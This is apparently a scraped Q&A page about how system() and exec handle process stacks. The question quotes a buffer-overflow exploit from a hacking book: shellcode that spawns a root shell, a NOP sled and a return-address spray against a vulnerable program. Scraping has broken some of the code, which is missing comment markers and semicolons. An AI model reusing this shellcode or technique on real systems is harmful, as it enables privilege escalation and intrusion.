C – System functions and stacks

System functions and stacks… here is a solution to the problem.

System functions and stacks

I have a question about the Linux system call System() and stack.
Let’s assume we have:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
   char buff[] = "/usr/bin/ls"
   system(buff);
   return 0;
}

Now, since the system()

function creates a fork() followed by an execl(), my question is: is the stack of the new process close to one of the main() above, or can it be everywhere in memory?
More generally: what happened to the main() stack in this simple example?

Also, if main() is:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
   char buff[] = "/usr/bin/ls"
   execl(buff, 0);
   return 0;
}

In this case, since fork() is not called, the stack of the function execl() should be placed on top of main() stack on a regular basis, right?

Edit:
Why is this if the virtual address space between the main process and the process executed by system() is different:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
  unsigned int i, *ptr, ret, offset=270;
  char *command, *buffer;
  command = (char *) malloc(200);
  bzero(command, 200);  Zero out the new memory.

strcpy(command, "./notesearch \'");  Start command buffer.
  buffer = command + strlen(command);  Set buffer at the end.

if(argc > 1) // Set offset.
     offset = atoi(argv[1]);

ret = (unsigned int) &i - offset;  Set return address.

for(i=0; i < 160; i+=4) // Fill buffer with return address.
     *((unsigned int *)(buffer+i)) = ret;

memset(buffer, 0x90, 60);  Build NOP sled.
  memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

strcat(command, "\'");

system(command);  Run exploit.
  free(command);
}

I found it in a book about hacking. This code just exploits a buffer overflow. Its purpose is to run the vulnerable program bof with temporary parameters that can exploit bof, and run shellcode.

The address

of the shellcode injected in the new process is obtained using the address of a local variable (unisgned int i in the example) as the base address and offset. But this only works if both processes have the same virtual address space, right?

Solution

When you use exec, all of the process’s memory is replaced. Stack, heap, everything. The original stack that contained the buff no longer exists.

A system call consists of a fork and an exec. fork creates a new process, which is a copy of the original process. exec then replaces the memory of the new process.

When exec is used, a new process address space is created. This address space is assembled from various free memory blocks managed by the kernel. This is a new virtual address space. The relationship between the physical memory of the new process and the old process is determined by the kernel. But because the new address space is virtual, it is independent of the address space of the parent process. Even if you know the address of the buff in the parent process and can pass that address to the child process, the address does not mean anything to the child process.

Related Problems and Solutions